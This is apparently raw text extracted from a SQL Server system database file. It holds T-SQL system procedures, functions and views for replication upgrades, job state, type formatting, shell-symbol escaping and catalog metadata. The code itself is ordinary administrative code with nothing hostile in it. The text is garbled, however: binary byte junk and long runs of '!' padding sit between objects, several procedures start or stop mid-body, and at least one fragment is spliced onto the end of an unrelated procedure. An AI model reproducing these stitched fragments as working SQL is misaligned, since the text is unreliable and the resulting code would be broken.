            -- precision not required for varchar(max), varbinary(max), nvarchar(max)
            --
            if @maxtypestomatchingnonmaxtypes = 1
                select @typestring = NULL
            else
                select @typestring = @typestring + N'(max)'
        end
        else
        begin
            --
            -- precision required
            --
            if (@ccoltype in (N'nchar', N'nvarchar'))
                select @length = @length/2
            select @typestring = @typestring + N'(' + rtrim(convert(nchar(10),@length)) + N')'
        end
    end
    else if @ccoltype in (N'numeric', N'decimal') 
    begin
        --
        -- datatypes requiring precision & scale (numeric & decimal)
        -- format: @var <dt> (prec, scale)
        --
        select @typestring = @typestring + N'(' + rtrim(convert(nchar(10),ColumnProperty(@tabid, @colname, 'PRECISION'))) + N',' + 
                    rtrim(convert(nchar(10),@scale)) + N')'
    end
    else if @ccoltype in (N'text',N'ntext',N'image')
    begin
        --
        -- text/image datatypes cannot be declared or used locally
        --
        select  @typestring = NULL
    end
    else if @ccoltype in (N'date')
    begin
        if @newdatetimetostrings = 1
        begin
            set @typestring = N'nvarchar(10)'
        end        
    end
    else if @ccoltype in (N'datetime2', N'datetimeoffset', N'time')
    begin
        if @newdatetimetostrings = 1
        begin
            select @typestring = case @ccoltype 
                when N'datetime2' then N'nvarchar(27)'
                when N'datetimeoffset' then N'nvarchar(34)'
                when N'time' then N'nvarchar(16)'
            end
        end
        else
        begin
            set @typestring = @typestring + N'(' + rtrim(convert(nvarchar(10), @scale)) + ')'
        end   
    end 
    else if @is_assembly_type = 1
    begin
        if (@userdefinedtypestobasetypes = 1)
        begin
            --
            -- CLR UDT is converted to image, set @typestring to NULL
            --
            select  @typestring = NULL
        end
        else
        begin
            --
            -- Prefix the schema name to CLR UDT type
            --
            select  @typestring = quotename(schema_name(@type_schema_id)) + N'.' + quotename(@ccoltype)
        end
    end
    else if @ccoltype in (N'xml') and @xmltontext = 1
    begin
        --
        -- XML type is converted to ntext, set @typestring to NULL
        --
        select  @typestring = NULL
    end
    --
    -- all done
    --
    return 0
end
06 r8create function sys.fn_remote_table_privileges(
	@server		sysname,
	@catalog	sysname = NULL,	
	@schema		sysname = NULL,
	@name		sysname = NULL,
	@grantor	sysname = NULL,
	@grantee	sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_TABLE_PRIVILEGES, @server, @catalog, @schema, @name, @grantor, @grantee)
0J@ 8create procedure sys.sp_MSBitmapXOr
    @bm1 varbinary(128),
    @bm2 varbinary(128),
    @bmout varbinary(128) output
as
    declare @len1 int
    set @len1= datalength(@bm1)
    declare @len2 int
    set @len2= datalength(@bm2)

    declare @idx int
    set @idx= 1

    while @idx <= @len2
    begin
        if 1=@idx
        begin
            set @bmout= cast(substring(@bm1, @idx, 1) as tinyint) ^ cast(substring(@bm2, @idx, 1) as tinyint)
            if @@error<>0 return 1
        end
        else
        begin
            set @bmout= @bmout + cast(cast(substring(@bm1, @idx, 1) as tinyint) ^ cast(substring(@bm2, @idx, 1) as tinyint) as varbinary)
            if @@error<>0 return 1
        end

        set @idx= @idx+1
    end

    if @len1 > @len2
    begin
        set @bmout= @bmout + substring(@bm1, @idx, @len1-@len2)
        if @@error<>0 return 1
    end

    return 0
ure for catalog access
--
create procedure sys.sp_MSget_jobstate
    @job_id             UNIQUEIDENTIFIER
AS
BEGIN
    DECLARE @is_sysadmin INT
    DECLARE @job_owner   sysname
    DECLARE @job_state   INT 
    DECLARE @job_id_as_char VARCHAR(36)

    SET NOCOUNT ON

    CREATE TABLE #xp_results (job_id                UNIQUEIDENTIFIER NOT NULL,
                            last_run_date         INT              NOT NULL,
                            last_run_time         INT              NOT NULL,
                            next_run_date         INT              NOT NULL,
                            next_run_time         INT              NOT NULL,
                            next_run_schedule_id  INT              NOT NULL,
                            requested_to_run      INT              NOT NULL, -- BOOL
                            request_source        INT              NOT NULL,
                            request_source_id     sysname          collate database_default null,
                            running               INT              NOT NULL, -- BOOL
                            current_step          INT              NOT NULL,
                            current_retry_attempt INT              NOT NULL,
                            job_state             INT              NOT NULL)

    -- Need a job_id
    if (@job_id IS NULL)
    BEGIN
        SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)
        RAISERROR(14262, -1, -1, '@job_id', @job_id_as_char)
        RETURN(1) -- Failure
    END

    -- Capture job execution information (for local jobs only since that's all SQLServerAgent caches)
    SELECT @is_sysadmin = ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0)
    SELECT @job_owner = suser_sname(suser_sid())
    INSERT INTO #xp_results
    EXECUTE master.dbo.xp_sqlagent_enum_jobs @is_sysadmin, @job_owner

    -- Select the job state of the job in question
    SELECT @job_state = job_state FROM #xp_results WHERE @job_id = job_id

    -- Error if we have no rows selected
    if (@job_state IS NULL)
    BEGIN
        SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)
        RAISERROR(14262, -1, -1, '@job_id', @job_id_as_char)
        RETURN(1) -- Failure
    END
    ELSE
        SELECT @job_state
    
    -- All done
    DROP TABLE #xp_results
    RETURN(0)    -- Success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!xx`<
~:m0J ^8
create procedure sys.sp_vupgrade_publisher @ver_old int, @ver_retention int
as
begin

    set nocount on

    declare @proc_name            nvarchar(350)
    declare @publication        sysname
    declare @upgraded            bit 
    declare @retcode             int
    declare @publisher_db        nvarchar(270)
    declare @agentname            sysname
    declare @has_dbaccess        bit
    declare @nonsqlsub          sysname

    -- raiserror('sp_vupgrade_publisher', 0,1)

    /*
     * Set the master.sysservers.nonsqlsub bit for all rows with srvproduct='MSREPL-NONSQL'
    */
    declare hCNonSQLSub cursor local FAST_FORWARD for 
        select srvname from master.dbo.sysservers
         where srvproduct=N'MSREPL-NONSQL'  
    open hCNonSQLSub
    fetch hCNonSQLSub into @nonsqlsub
    while (@@fetch_status <> -1)
    begin
        exec @retcode = sys.sp_serveroption @server = @nonsqlsub, 
                                            @optname = 'nonsqlsub',
                                            @optvalue = 'true'
        if @retcode <> 0 or @@error <> 0
        begin
            close hCNonSQLSub
            deallocate hCNonSQLSub
            return 1
        end
        fetch hCNonSQLSub into @nonsqlsub
    end
    close hCNonSQLSub
    deallocate hCNonSQLSub

    /*
     * Expired subscription cleanup agent name needs set to localized string (message 20569) and 
     * jobstep set to correct procedure name based on name change between SQL7.0 and SQL7.5
    */
    set @agentname = formatmessage(20569)  

    update msdb.dbo.sysjobs
        set name = @agentname
        from msdb.dbo.sysjobs, msdb.dbo.sysjobsteps as s
        where msdb.dbo.sysjobs.job_id = s.job_id
        and 
        ( upper(s.command) = upper(N'EXEC sp_MScleanup_subscription') 
        or upper(s.command) = upper(N'EXEC dbo.sp_MScleanup_subscription') 
        or upper(s.command) = upper(N'EXEC sys.sp_MScleanup_subscription'))

    update msdb.dbo.sysjobsteps 
        set  command = N'EXEC dbo.sp_expired_subscription_cleanup' 
        where upper(command) = upper(N'EXEC sp_MScleanup_subscription')
        or upper(command) = upper(N'EXEC dbo.sp_MScleanup_subscription')
        or upper(command) = upper(N'EXEC sys.sp_MScleanup_subscription')
            
    --
    -- Process schema and metadata changes for each publishing database on the publisher.
    -- 
    -- Transactional replication system tables at the publisher are updated by sp_vupgrade_publisherdb.
    -- Most merge system tables exist in both the publishing and subscribing databases; merge schema 
    -- and metadata changes are processed by a separate pass over all databases in sp_vupgrade_mergetables.
    --
    -- Upgrade all databases except system and distribution db's
    -- These db's cannot be publisher databases
    DECLARE #DC CURSOR LOCAL FAST_FORWARD
    FOR
    SELECT  distinct N'[' + replace(name, N']', N']]') + N']',
            has_dbaccess(name)
    FROM    master.dbo.sysdatabases 
    -- where ((category & 4) = 4) or ((category & 1) = 1)
    WHERE   name NOT IN
                (
                    N'master' COLLATE DATABASE_DEFAULT,
                    N'tempdb' COLLATE DATABASE_DEFAULT,
                    N'msdb'   COLLATE DATABASE_DEFAULT,
                    N'model'   COLLATE DATABASE_DEFAULT
                )
			AND   sys.fn_MSrepl_isdistdb (name) = 0
			and databasepropertyex(name, 'Updateability') = 'READ_WRITE'

    FOR READ ONLY
    
    open #DC
    fetch #DC into @publisher_db, @has_dbaccess
    while (@@fetch_status <> -1)
    begin
        -- upgrade repl tables in publishing dbs if needed
        -- skip any database in an offline state and write warning to upgrade log
        if ( @has_dbaccess = 1 )
        begin
            raiserror( 21375, 10, 1, @publisher_db) with nowait

            select @proc_name = @publisher_db + '.sys.sp_refreshreplsysservers'
            exec @retcode = @proc_name @mode = 1 -- mode 1 means don't error out if sysreplservers contains a row pointing to remote server
            if @retcode<>0 or @@ERROR<>0
            begin
                return (1)
            end

            select @proc_name = @publisher_db + '.sys.sp_vupgrade_publisherdb'
            exec @retcode = @proc_name 
                @ver_old = @ver_old,
                @ver_retention = @ver_retention
            if @retcode<>0 or @@ERROR<>0
            begin
                return (1)
            end

        end
        else
        begin
            raiserror( 21376, 10, 1, @publisher_db) with nowait
        end

        fetch #DC into @publisher_db, @has_dbaccess

    end
    close #DC
    deallocate #DC

    /*
     * We need to mark sp_MScleanupmergepublisher as a startup procedure
     * if there are any databases enabled for merge replication.
     */
    if exists (select * from master.dbo.sysdatabases where (category & 4) <> 0)
    begin
        exec ('use master
               exec sys.sp_procoption ''sp_MScleanupmergepublisher'', ''startup'', ''true''')
    end

end
0?` D84Nh
,
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`z</PI!0 8--
-- Name: fn_escapecmdshellsymbols
--
-- Descriptions: This function returns an escaped version of a given string
--               with carets ('^') added in front of all the special 
--               command shell symbols. The resulting escaped string should
--               be deemed safe for "echo"ing on the command prompt or 
--               through xp_cmdshell. In the W2K online help (Start->
--               Help->Index->Command Reference->Command Symbols...), the 
--               following symbols are listed as special command symbols:
--                 (N'%', N'<', N'>', N'|', N'&', N'^', N'"')
--
-- Parameter: @command_string nvarchar(4000)
-- 
-- Example: select sys.fn_escapecmdshellsymbols(N'The % quick < brown > dog | jumps & over ( the ) lazy ^ fox.') 
--             will return 
--    
--    The ^% quick ^< brown ^> dog ^| jumps ^& over ( the ) lazy ^^ fox
--
-- Note: 1) If the resulting escaped string is longer than 4000 characters, 
--       it will be truncated but this shouldn't be an issue for the case 
--       that this function is designed for: dumping the result set of 
--       sp_MSscriptpublicationcustomprocs to a file.
--       2) The character '%' is escaped to prevent any inadvertent (or 
--       malicious) shell variable expansion.
--          
-- Security: This is a public interface object.
--
create function sys.fn_escapecmdshellsymbols(
    @command_string nvarchar(4000)
    ) returns nvarchar(4000)
as
begin
    declare @escaped_command_string nvarchar(4000),
            @curr_char nvarchar(1),
            @curr_char_index int    
    select @escaped_command_string = N'',
           @curr_char = N'', 
           @curr_char_index = 1
    while @curr_char_index <= len(@command_string)
    begin
        select @curr_char = substring(@command_string, @curr_char_index, 1) 
        if @curr_char in (N'%', N'<', N'>', N'|', N'&', N'^', N'"')
        begin
            select @escaped_command_string = @escaped_command_string + N'^'
        end
        select @escaped_command_string = @escaped_command_string + @curr_char
        select @curr_char_index = @curr_char_index + 1 
    end
    return @escaped_command_string
end
0 8
create procedure sys.sp_tablecollations_90
(
    @object nvarchar(4000)
)
as
    select
        colid               = s_tcv.colid,
        name                = s_tcv.name,
        tds_collation       = s_tcv.tds_collation_90,
        "collation"         = s_tcv.collation_90
    from
        sys.spt_tablecollations_view s_tcv
    where
        s_tcv.object_id = object_id(@object, 'local')
    order by colid
0?: D8Ph-M1.0dV 8--
-- Name: fn_replgetsqlserverregkey
-- 
-- Description: This functions retrieves the root of the version specific 
--              registry hive for the current instance of SQL Server
-- Parameter:   (none)
--
-- Notes: Trailing \ is included in the return value.
--
-- Returns: nvarchar(260)
--
-- Security: Execute permission of this function is granted to public
-- 
create function sys.fn_replgetsqlserverregkey() returns nvarchar(260)
as
begin 
    declare @regkey       nvarchar(260)
    declare @len_minorversion tinyint

    select @len_minorversion = 1
  
    select @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\' + sys.fn_MSsharedversion(@len_minorversion) collate database_default + N'\'
    return @regkey
end
0 s8
create procedure sys.sp_tables_info_90_rowset
(
    @table_name     sysname,
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 19), --DBTYPE_UI4
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 4),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID,
        TABLE_FLAGS             = s_tiv.TABLE_FLAGS
    from
        sys.spt_tables_info_view s_tiv
    where
        (
            (@table_schema is null and s_tiv.TABLE_NAME = @table_name) or
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = s_tiv.object_id
        ) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
0@ 8create procedure sys.sp_browsemergesnapshotfolder (
    @publication sysname
    )
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @dbname sysname
    DECLARE @alt_directory_type INT
    DECLARE @directory_type INT
    declare @retcode int
    
    SELECT @alt_directory_type = 25
    SELECT @directory_type = 7

    EXEC @retcode = dbo.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    IF object_id(N'sysmergepublications') is not NULL AND
       object_id(N'sysmergeschemachange') is not NULL
    BEGIN
        SELECT 'snapshot_folder' = schematext 
          FROM dbo.sysmergeschemachange sc 
    INNER JOIN dbo.sysmergepublications mp
            ON sc.pubid = mp.pubid
         WHERE mp.name = @publication
           AND upper(mp.publisher) = upper(publishingservername())
           AND publisher_db = db_name()  
           AND (schematype = @directory_type OR schematype = @alt_directory_type)
      ORDER BY schematype desc
    END  
    ELSE
    BEGIN
        SELECT @dbname = DB_NAME()
        RAISERROR(21147, 16, -1, @dbname)
        RETURN 1
    END
END
0I@ 8create procedure sys.sp_unsubscribe (
    @publication sysname = NULL,       /* publication name */
    @article sysname = NULL            /* article name */
    ) AS

    -- New 7.0 sp_dropsubscription parameters
    DECLARE @subscriber     sysname
    DECLARE @destination_db sysname    
    DECLARE @retcode        int 

    SET NOCOUNT ON
    
    -- sp_unsubscribe has to be callled from a remote subscriber
    -- If not, we state that it is unsupported
    SELECT @subscriber = @@REMSERVER
    IF @subscriber IS NULL
    BEGIN
        RAISERROR (21023, 16, -1,'sp_unsubscribe')
        RETURN(1)
    END

    -- 6.5 didn't support having multiple databases on the same subscriber
    -- subscribing to the same publication so here, all subscriptions to the
    -- same publication will be dropped 
    SELECT @destination_db = NULL
    
    -- Call sp_dropsubscription to do the real work
    EXEC @retcode = sys.sp_dropsubscription @publication = @publication,
                                        @article = @article,
                                        @subscriber = @subscriber,
                                        @destination_db = @destination_db
    RETURN @retcode
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!cPc@	`DK<4(	0g 8create procedure sys.sp_MSdrop_object 
(
        @object_id int = NULL,
        @object_name sysname = NULL,
        @object_owner sysname = NULL
)
AS
begin
    SET NOCOUNT ON

    declare @cmd nvarchar(1000)
    
    if @object_name is not null
    begin
        declare @owner_id int
        if @object_owner is null
            select @owner_id = schema_id()
        else
            select @owner_id = schema_id(@object_owner)
        select @object_id = object_id 
        from sys.objects 
        where
            name = @object_name and
            schema_id = @owner_id
       end

       if @object_id is not null
       begin
           exec sys.sp_MSget_qualified_name @object_id, @cmd output
           if objectproperty(@object_id, 'IsTable') = 1
               select @cmd = 'drop table ' + @cmd
           else if objectproperty(@object_id, 'IsProcedure') = 1
               select @cmd = 'drop procedure ' + @cmd
           else if objectproperty(@object_id, 'IsTrigger') = 1
               select @cmd = 'drop trigger ' + @cmd
           else if objectproperty(@object_id, 'IsView') = 1
               select @cmd = 'drop view ' + @cmd
           else if objectproperty(@object_id, 'IsReplProc') = 1
               select @cmd = 'drop procedure ' + @cmd
           else
               select @cmd = null

           exec (@cmd)
           if @@error <> 0
               return(1)
       end
end
0j@ 8CREATE view sys.dm_hadr_internal_cluster_ags
as
	SELECT 
	*
	FROM OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AGS)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5`j<G]J0@ 8-- ===========================
-- Name:            sp_MSmerge_passDDLcmd
-- Description:      store DDL cmd text in sysmergeschemachange
-- Caller:            sp_MSmerge_alterview
--                        sp_MSmerge_altertrigger
--                        sp_MSmerge_schemaonly
-- Security:         Public interface, in resource DB
-- Returns:          0 : success
--                        1 : failure          
-- Owner:           zhenl
-- ===========================
create procedure sys.sp_MSmerge_passDDLcmd(
@artid uniqueidentifier,
@pubid uniqueidentifier,
@ddlcmd nvarchar(max)
)
AS
    declare @schemaversion int, @schemaguid    uniqueidentifier, @schematype    int, @retcode int
    set @schemaversion = NULL
    select @schemaversion = schemaversion from dbo.sysmergeschemachange

    if (@schemaversion is NULL)
        set @schemaversion = 1
    else
        select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
        
    set @schemaguid = newid()
    set @schematype = 300 /* DDL actions */
    exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @ddlcmd
    if @@ERROR<>0 or @retcode<>0 
        return 1
    return 0
0V@ q8CREATE VIEW sys.dm_os_workers AS
	SELECT *
	FROM OpenRowSet(TABLE SYSWORKERS)
0 8
create function sys.fn_replp2pversiontotranid (@varbin varbinary(32))
returns nvarchar(40)
as
begin
	return sys.fn_varbintohexstr(cast(reverse(substring(@varbin, 5, 8)) as binary(8))) --first 4 bytes is p2porid, next 8 bytes is tranid
end
0@ 	8
create procedure sys.sp_MSuploadsupportabilitydata
    (@publisher            sysname,
     @publisher_db         sysname,
     @publication          sysname,
     @server_name          sysname  = NULL,         /* Replica or subscriber Server Name */
     @db_name              sysname  = NULL,         /* Replica or subscriber Database Name */
     @file_name			   nvarchar(2000),			/* data for the log file */
     @log_file_type		   int,	
     @log_file			   varbinary(max) = NULL,	/* data for the log file */
     @web_server		   sysname  = NULL,			/* name of the IIS server */	
     @compatlevel        int = 90)                -- backward compatibility level, default=Sphinx
     
as
    declare    @retcode           		int
    declare    @subid             		uniqueidentifier
    declare    @pubid             		uniqueidentifier
    declare    @upload_time				datetime

    select @publisher_db = RTRIM(@publisher_db)
    select @db_name = RTRIM(@db_name)
    
    /* 
    ** Security Check and publication validation
    */
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, @publisher_db, @publisher, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

    if (@server_name is NULL)
        SET @server_name = publishingservername()

    if (@db_name is NULL)
        set @db_name = db_name()
        
    SELECT @subid = subid
        FROM dbo.sysmergesubscriptions
        WHERE UPPER(subscriber_server) collate database_default = UPPER(@server_name) collate database_default 
            and db_name = @db_name and pubid = @pubid 

    if @subid is NULL
    begin
        RAISERROR(20021, 16, -1)
        return (1)
    end

	select @upload_time = getdate()
	
	-- Insert the log data into the MSmerge_log_files table
	insert into dbo.MSmerge_log_files (pubid, subid, web_server, file_name, upload_time, log_file_type, log_file)
		values (@pubid, @subid, @web_server, @file_name, @upload_time, @log_file_type, @log_file)

    if @@error <> 0
        return 1

	update dbo.MSmerge_supportability_settings
		set last_log_upload_time = @upload_time
        WHERE pubid = @pubid and subid = @subid and
            ((@web_server IS NULL and web_server IS NULL) or (@web_server IS NOT NULL and
            UPPER(web_server) collate database_default = UPPER(@web_server) collate database_default ))
            
    if @@error <> 0
        return 1
	
    return (0)
 or (LOWER(publication) = 'all' and @independent_agent = 0)) and
                subscriber_id = @subscriber_id and  
                subscriber_db = @subscriber_db

    if @agent_id is NOT NULL
        begin
        	select Top 1 @last_status = runstatus, @last_history = time 
        		from MSdistribution_history where agent_id = @agent_id
        			order by timestamp DESC
        			
            if EXISTS (select * from MSdistribution_history where agent_id = @agent_id) and (@last_history < @min_valid_day)
                and (@retention <> 0)
                select @out_of_date = 1
            else 
                if (not EXISTS (select * from MSdistribution_history where agent_id = @agent_id)) and
                        (@subscription_time < @min_valid_day) and (@retention <> 0)
                select @out_of_date = 1
        end
        
COMMIT TRAN
return (0)

FAILURE:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return (1)
0Z s
8create procedure sys.sp_MSscriptcustominsproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
    ,@usesqlclr bit=1
    ,@inDDLrepl bit=0
)
as
begin
	declare @retcode int
			,@scripting_proc nvarchar(512)
			,@insformat int
	-- constants
			,@callformat tinyint
			,@scallformat tinyint

	select @callformat = 1
			,@scallformat = 5

	--
	-- security check
	--
	exec @retcode = sys.sp_MSreplcheck_publish_withddladmin
	if @@error <> 0 or @retcode <> 0
	begin
	    return (1)
	end
	select @scripting_proc = quotename(object_name(ins_scripting_proc)) 
			,@insformat = case 
			    		when charindex( N'CALL', upper(ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then @callformat
			    		when charindex( N'SCALL', upper(ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then @scallformat
			    		else 0 end
		from dbo.sysarticles where artid = @artid

	-- SQL/None upd_cmd does not involve scripting, return without doing anything here.
	if @insformat = 0 
		return 0
	
	if @scripting_proc is null
	begin

        if @usesqlclr = 1 and @publishertype = 1
        begin
            exec @retcode = sys.sp_MSscriptcustominsproc_sqlclr
                @artid = @artid
                ,@publisher = @publisher
        end
        else
        begin
		    select @scripting_proc = case @insformat when @callformat then N'sys.sp_scriptinsproc'
			    								when @scallformat then N'sys.sp_scriptsinsproc'
				    							else N'' end
											
		    exec @retcode = @scripting_proc @artid = @artid
			    						,@publishertype = @publishertype
				    					,@publisher = @publisher
        end
	end
 	else 
 	begin
		--
		-- For security: break ownership chain as
		-- we have no control over the proc name is
		--
		declare @spretcode int
				,@spcall nvarchar(512)
		declare @temptext table(colidx int identity, col nvarchar(max) collate database_default) 
		select @spcall = N'exec @p1 = ' + @scripting_proc + N' @artid = @p2 '
		if @inDDLrepl = 1
		begin
			exec @retcode = sys.sp_executesql @stmt = @spcall
				,@params = N'@p1 int output, @p2 int'
				,@p1 = @spretcode output
				,@p2 = @artid
		end
		else
		begin
			insert @temptext(col) exec @retcode = sys.sp_executesql @stmt = @spcall
				,@params = N'@p1 int output, @p2 int'
				,@p1 = @spretcode output
				,@p2 = @artid
			select col from @temptext order by colidx
		end
		if (@retcode != 0 or @spretcode != 0)
			select @retcode = 1
	end
 
	return @retcode
end
0P D8hU),Q = @loc_distributor
    end
    -- all done
    return 0
END
0+$ P8Th>S!LX`n<Jr^0 8
create view sys.spt_indexes_view
as
    select
    -- begin (for doing joins)
        OBJECT_ID           = o.object_id,
        SCHEMA_ID           = o.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG       = db_name(),
        TABLE_SCHEMA        = schema_name(o.schema_id),
        TABLE_NAME          = o.name,
        INDEX_CATALOG       = db_name(),
        INDEX_SCHEMA        = schema_name(o.schema_id),
        INDEX_NAME          = x.name,
        PRIMARY_KEY         = x.is_primary_key,
        "UNIQUE"            = x.is_unique,
        "CLUSTERED"         = convert(bit,case when x.index_id = 1 then 1 else 0 end),
        "TYPE"              = convert(smallint, 1), -- DBPROPVAL_IT_BTREE
        FILL_FACTOR         = convert(int, x.fill_factor),
        INITIAL_SIZE        = convert(int,null),
        NULLS               = convert(int,null),
        SORT_BOOKMARKS      = convert(bit,0),
        AUTO_UPDATE         = convert(bit,1),
        NULL_COLLATION      = convert(int,4), -- DBPROPVAL_NC_LOW
        ORDINAL_POSITION    = convert(int, s_ic.key_ordinal),
        COLUMN_NAME         = col_name(o.object_id, s_ic.column_id),
        COLUMN_GUID         = convert(uniqueidentifier,null),
        COLUMN_PROPID       = convert(int,null),
        "COLLATION"         = convert(smallint,
                                        case
